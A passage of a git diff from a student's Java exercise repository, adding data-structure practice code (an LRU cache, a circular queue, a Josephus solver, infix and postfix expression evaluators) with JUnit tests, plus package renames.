+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/test/EmployeeV1.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..33731cf429
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.dudy.learn01.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/util/Util.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..44b3e2ee01
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.dudy.learn01.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/ActionPojoParseXML.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/ActionPojoParseXML.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/ActionPojoParseXML.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/ActionPojoParseXML.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/LoginAction.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/LoginAction.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/LoginAction.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/LoginAction.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/Struts.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/Struts.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/Struts.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/Struts.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/View.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/View.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/View.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/View.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/Configuration.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/Configuration.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/Configuration.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/Configuration.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/ConfigurationException.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/ConfigurationException.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/ConfigurationException.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/ConfigurationException.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/ConfigurationTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/ConfigurationTest.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/ConfigurationTest.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/ConfigurationTest.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/LoginAction.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/LoginAction.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/LoginAction.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/LoginAction.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/ReflectionUtil.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/ReflectionUtil.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/ReflectionUtil.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/ReflectionUtil.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/ReflectionUtilTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/ReflectionUtilTest.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/ReflectionUtilTest.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/ReflectionUtilTest.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/Struts.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/Struts.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/Struts.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/Struts.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/StrutsTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/StrutsTest.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/StrutsTest.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/StrutsTest.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/View.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/View.java
similarity index 100%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/View.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/litestruts/format/View.java
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyIterator.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/MyIterator.java
similarity index 66%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyIterator.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/MyIterator.java
index e53306fa03..f11c8f183c 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyIterator.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/MyIterator.java
@@ -1,4 +1,4 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure;
 public interface MyIterator {
 	public boolean hasNext();
 	public Object next();
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyList.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/MyList.java
similarity index 81%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyList.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/MyList.java
index 455727381d..0a43a63ac8 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyList.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/MyList.java
@@ -1,4 +1,4 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure;
 public interface MyList {
 	public void add(Object o);
 	public void add(int index, Object o);
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyArrayUtil.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/array/MyArrayUtil.java
similarity index 99%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyArrayUtil.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/array/MyArrayUtil.java
index f5f6535e17..7172404cd6 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyArrayUtil.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/array/MyArrayUtil.java
@@ -1,4 +1,4 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.array;
 
 import java.util.*;
 
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/LRUPageFrame.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/LRUPageFrame.java
new file mode 100644
index 0000000000..d5e76058d0
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/LRUPageFrame.java
@@ -0,0 +1,146 @@
+package com.dudy.learn01.data_structure.list;
+
+public class LRUPageFrame {
+
+	private static class Node {
+
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		Node node = find(pageNum);
+
+		if (node != null) {
+			moveNodeToHead(node);
+		} else {
+			node = new Node();
+			node.pageNum = pageNum;
+			// 缓存容器是否已满
+			if (currentSize >= capacity) {
+				removeLastNode();
+			}
+
+			addNewNodeToHeader(node);
+		}
+	}
+
+	private void addNewNodeToHeader(Node node) {
+		// TODO Auto-generated method stub
+		
+		if (first == null) {
+			first = node;
+			last = node;
+			currentSize++;
+			return;
+		}
+		
+		node.next = first;
+		if(first.next == null){
+			last.prev = node;
+		} else {
+			first.prev = node;
+		}
+		first = node;
+		currentSize++;
+
+	}
+
+	private void removeLastNode() {
+		// TODO Auto-generated method stub
+		last.prev.next = null;
+		last = last.prev;
+		currentSize--;
+	}
+
+	private void moveNodeToHead(Node node) {
+	
+		if(first.pageNum == node.pageNum){
+			return;
+		}
+		
+		if(last.pageNum == node.pageNum){			
+			Node pLast = last.prev;
+			pLast.next = null;
+			
+			last.next = first;
+			last.prev = null;
+			
+			first.prev = last;
+			first = last;
+			last = pLast;
+			
+			return;
+		}
+		
+		node.prev.next = node.next;
+		node.next.prev = node.prev;
+		node.prev = null;
+		node.next = first;
+		first.prev = node;
+		first = node;
+		
+	}
+
+	private Node find(int pageNum) {
+		Node n = first;
+		for (int i = 0; i < currentSize; i++) {
+			if (n.pageNum == pageNum) {
+				return n;
+			}
+
+			n = n.next;
+		}
+
+		return null;
+	}
+
+	public String toString() {
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while (node != null) {
+			buffer.append(node.pageNum);
+
+			node = node.next;
+			if (node != null) {
+				buffer.append(",");
+			}
+		}
+		
+		StringBuilder reverse = new StringBuilder();
+		Node n = last;
+		while(n != null){
+			reverse.append(n.pageNum);
+			n = n.prev;
+			if(n != null){
+				reverse.append(",");
+			}
+		}
+		System.out.println("buffer: "+ buffer.toString());
+		System.out.println("reverse: "  + reverse.toString());
+		return buffer.toString();
+	}
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/LRUPageFrameTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/LRUPageFrameTest.java
new file mode 100644
index 0000000000..539e0d9af3
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/LRUPageFrameTest.java
@@ -0,0 +1,33 @@
+package com.dudy.learn01.data_structure.list;
+
+import com.dudy.learn01.data_structure.list.LRUPageFrame;
+import org.junit.Assert;
+import org.junit.Test;
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyArrayList.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/MyArrayList.java
similarity index 94%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyArrayList.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/MyArrayList.java
index 5a8e82aaaf..ee7a336948 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyArrayList.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/MyArrayList.java
@@ -1,4 +1,7 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.list;
+
+import com.dudy.learn01.data_structure.MyIterator;
+import com.dudy.learn01.data_structure.MyList;
 
 import java.util.Arrays;
 
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyLinkedList.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/MyLinkedList.java
similarity index 97%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyLinkedList.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/MyLinkedList.java
index a425f54e81..f5b0b2f9fc 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyLinkedList.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/MyLinkedList.java
@@ -1,6 +1,9 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.list;
 
 
+import com.dudy.learn01.data_structure.MyIterator;
+import com.dudy.learn01.data_structure.MyList;
+
 import java.util.LinkedList;
 
 /**
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/CircleQueue.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/CircleQueue.java
new file mode 100644
index 0000000000..af410daea1
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/CircleQueue.java
@@ -0,0 +1,78 @@
+package com.dudy.learn01.data_structure.queue;
+
+import java.util.Random;
+
+/**
+ * 用数组实现循环队列
+ */
+public class CircleQueue<E> {
+
+	private final static int DEFAULT_SIZE = 10;
+
+	// 用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE];
+
+	// 队头
+	private int front = 0;
+	// 队尾
+	private int tear = 0;
+
+	public boolean isEmpty() {
+		return tear == front && elementData[0] == null;
+	}
+
+	public int size() {
+		if(tear == front && elementData[0]!= null){
+			return DEFAULT_SIZE;
+		} else {
+			return (tear - front + DEFAULT_SIZE) % DEFAULT_SIZE;			
+		}
+	}
+
+	public boolean full(){
+		return tear == front && elementData[0] != null;
+	}
+	
+	
+	public void enQueue(E data) {
+		if(full()){
+			System.out.println("队列已满");
+		} else {
+			elementData[tear] = data;
+			tear = (tear + 1) % DEFAULT_SIZE;
+		}
+	}
+
+	public E deQueue() {
+		if(isEmpty()) return null;
+		E e = (E) elementData[front];
+		elementData[front] = null;
+		front = (front + 1) % DEFAULT_SIZE;
+		return e;
+	}
+
+	public static void main(String[] args) {
+		CircleQueue<Integer> queue = new CircleQueue<>();
+		Random r = new Random();
+		queue.enQueue(1);
+		queue.enQueue(3);
+		queue.enQueue(4);
+		queue.enQueue(6);
+		queue.enQueue(7);
+
+		System.out.println(queue.size());
+		for (int i = 0; i < 10; i++) {
+			queue.enQueue(r.nextInt(100));
+		}
+		
+		System.out.println("size = " + queue.size());
+
+
+		for(int i=0;i < 11 ; i++){
+			System.out.print(queue.deQueue() + ",");
+		}
+		
+		System.out.println("size = " + queue.size());
+
+	}
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/Josephus.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/Josephus.java
new file mode 100644
index 0000000000..9ea3f93ed8
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/Josephus.java
@@ -0,0 +1,33 @@
+package com.dudy.learn01.data_structure.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Queue;
+import java.util.concurrent.ArrayBlockingQueue;
+
+/**
+ * 用Queue来实现Josephus问题 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数： N个人围成一圈（位置记为0到N-1），
+ * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来 该方法返回一个List， 包含了被杀死人的次序
+ */
+public class Josephus {
+
+	public static List<Integer> execute(int n, int m) {
+		
+		List<Integer> list = new ArrayList<>();
+		Queue<Integer> queue = new ArrayBlockingQueue<>(n);
+		for(int i = 0; i< n; i++){
+			queue.add(i);
+		}
+		int loop = 1;
+		while(!queue.isEmpty()){
+			Integer value = queue.poll();
+			if(loop % m == 0){
+				list.add(value);loop = 1;
+			} else{
+				queue.add(value);loop++;
+			}
+		}
+		return list;
+	}
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/JosephusTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/JosephusTest.java
new file mode 100644
index 0000000000..bbf4c906b1
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/JosephusTest.java
@@ -0,0 +1,26 @@
+package com.dudy.learn01.data_structure.queue;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		System.out.println(Josephus.execute(7, 2).toString());
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyQueue.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/MyQueue.java
similarity index 62%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyQueue.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/MyQueue.java
index 25b9da93f2..6c816b2802 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyQueue.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/MyQueue.java
@@ -1,7 +1,10 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.queue;
+
+import com.dudy.learn01.data_structure.list.MyLinkedList;
+
 public class MyQueue {
 
-	private  MyLinkedList  elementData = new MyLinkedList();
+	private MyLinkedList elementData = new MyLinkedList();
 
 	public void enQueue(Object o){
 		elementData.addLast(o);
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/QueueWithTwoStacks.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..13d02e879d
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/QueueWithTwoStacks.java
@@ -0,0 +1,58 @@
+package com.dudy.learn01.data_structure.queue;
+
+import java.util.Random;
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;
+	private Stack<E> stack2;
+
+	public QueueWithTwoStacks() {
+		stack1 = new Stack<E>();
+		stack2 = new Stack<E>();
+	}
+
+	public boolean isEmpty() {
+		return size() == 0;
+	}
+
+	public int size() {
+		return stack1.size() + stack2.size();
+	}
+
+	public void enQueue(E item) {
+		stack1.push(item);
+	}
+
+	public E deQueue() {
+
+		if (isEmpty()) {
+			return null;
+		}
+		if (stack2.size() == 0) {
+			for (int i = 0; i < stack1.size(); i++) {
+				stack2.push(stack1.pop());
+			}
+		}
+
+		return stack2.pop();
+	}
+
+	public static void main(String[] args) {
+		QueueWithTwoStacks<Integer> queue = new QueueWithTwoStacks();
+		Random r = new Random();
+		int loop = r.nextInt(15);
+		System.out.println("loop = " + loop);
+		for (int i = 0; i < loop; i++) {
+			queue.enQueue(r.nextInt(100));
+		}
+		System.out.println("size = " + queue.size());
+		while (queue.size() > 0) {
+			System.out.print(queue.deQueue() + ",");
+		}
+	}
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixExpr.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixExpr.java
new file mode 100644
index 0000000000..4ad14f5cea
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixExpr.java
@@ -0,0 +1,102 @@
+package com.dudy.learn01.data_structure.queue.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class InfixExpr {
+	String expr = null;
+	Stack<Token> number = new Stack<Token>();
+	Stack<Token> opt = new Stack<Token>();
+
+	public InfixExpr(String expr) {
+
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+
+
+		for (Token token: tokens){
+		    if (token.isOperator()){
+		        if (opt.isEmpty()){
+		            opt.push(token);
+                } else {
+		            while (!opt.isEmpty() &&
+                            !token.hasHigherPriority(opt.peek())){
+                        Token prevOperator = opt.pop();
+                        calculator(number.pop(),number.pop(),prevOperator.value);
+                    }
+                    opt.push(token);
+
+                }
+            }
+
+            if (token.isNumber()){
+		        number.push(token);
+            }
+        }
+
+        while (!opt.isEmpty()){
+		    calculator(number.pop(), number.pop(),opt.pop().value);
+        }
+
+
+
+//		for (int i = 0; i < tokens.size(); i++) {
+//			Token token = tokens.get(i);
+//			if (token.isNumber()) {
+//				number.push(token);
+//			}
+//
+//			if (token.isOperator()) {
+//				if (opt.isEmpty()) {
+//					opt.push(token); continue;
+//				}
+//
+//				if (!opt.isEmpty() && !token.hasHigherPriority(opt.peek())) {
+//					calculator(tokens.get(++i), number.pop(), token.value);
+//
+//				} else {
+//					opt.push(token);
+//				}
+//			}
+//		}
+//
+//		while(!opt.empty()){
+//
+//            calculator(number.pop(), number.pop(), opt.pop().value);
+//		}
+
+		return Float.parseFloat(number.pop().value);
+	}
+
+	/**
+	 * 
+	 * @param token 第二个操作数
+	 * @param pop   第一个操作数
+	 * @param op	运算符
+	 */
+	private void calculator(Token token, Token pop, String op) {
+		Integer number1 = Integer.parseInt(pop.value);
+		Integer number2 = Integer.parseInt(token.value);
+		Integer value = null;
+		if ("*".equals(op)) {
+		 	value = number1 * number2;
+		}
+		if ("/".equals(op)) {
+		 	value = number1 / number2;
+		}
+		if ("-".equals(op)) {
+		 	value = number1 - number2;
+		}
+		if ("+".equals(op)) {
+		 	value = number1 + number2;
+		}
+		
+		number.push(new Token(2,value+""));
+	}
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixExprTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixExprTest.java
new file mode 100644
index 0000000000..4a4fa8981c
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixExprTest.java
@@ -0,0 +1,51 @@
+package com.dudy.learn01.data_structure.queue.expr;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixToPostfix.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..9c958ac169
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixToPostfix.java
@@ -0,0 +1,44 @@
+package com.dudy.learn01.data_structure.queue.expr;
+
+import java.util.*;
+
+public class InfixToPostfix {
+
+    public static List<Token> convert(String expr) {
+
+        List<Token> tokens = new ArrayList<>();
+
+        Stack<Token> optStack = new Stack<>();
+        TokenParser parser  = new TokenParser();
+        List<Token> list = parser.parse(expr);
+        for (int i = 0;i < list.size(); i++){
+            Token token = list.get(i);
+            if(token.isNumber()){
+                tokens.add(token);continue;
+            }
+
+            if (token.isOperator()){
+                if (optStack.isEmpty()){
+                    optStack.push(token);continue;
+                }
+
+                if (token.hasHigherPriority(optStack.peek())){
+                    tokens.add(list.get(++i));
+                    tokens.add(token);
+                } else {
+                    tokens.add(optStack.pop());
+                    optStack.push(token);
+                }
+            }
+        }
+
+        while (!optStack.isEmpty()){
+            tokens.add(optStack.pop());
+        }
+
+        return tokens;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixToPostfixTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..fd60670c1f
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixToPostfixTest.java
@@ -0,0 +1,27 @@
+package com.dudy.learn01.data_structure.queue.expr;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.util.List;
+
+/**
+ * Created by dudy on 2017/5/7.
+ */
+public class InfixToPostfixTest {
+
+
+    @Test
+    public void testEvaluate() {
+        List<Token> tokens = InfixToPostfix.convert("2+3*4+5");
+        System.out.println(tokens);
+
+        Assert.assertEquals("[2, 3, 4, *, +, 5, +]", tokens.toString());
+
+        //10 2 3 * - 50 +
+        List<Token> list1 = InfixToPostfix.convert("10-2*3+50");
+        System.out.println(list1);
+
+        Assert.assertEquals("[10, 2, 3, *, -, 50, +]", list1.toString());
+    }
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PostfixExpr.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PostfixExpr.java
new file mode 100644
index 0000000000..6c679d93ca
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PostfixExpr.java
@@ -0,0 +1,55 @@
+package com.dudy.learn01.data_structure.queue.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+    String expr = null;
+
+    public PostfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+
+        Stack<String> optStack = new Stack<>();
+        Stack<Float> numStack = new Stack<>();
+
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(expr);
+
+        for (Token token : tokens) {
+            if (token.isNumber()) {
+                numStack.push(Float.parseFloat(token.value));
+            } else if (token.isOperator()) {
+                Float num2 = numStack.pop();
+                Float num1 = numStack.pop();
+                Float value = calculator(num1, num2, token.value);
+                numStack.push(value);
+            }
+        }
+
+
+        return numStack.pop();
+    }
+
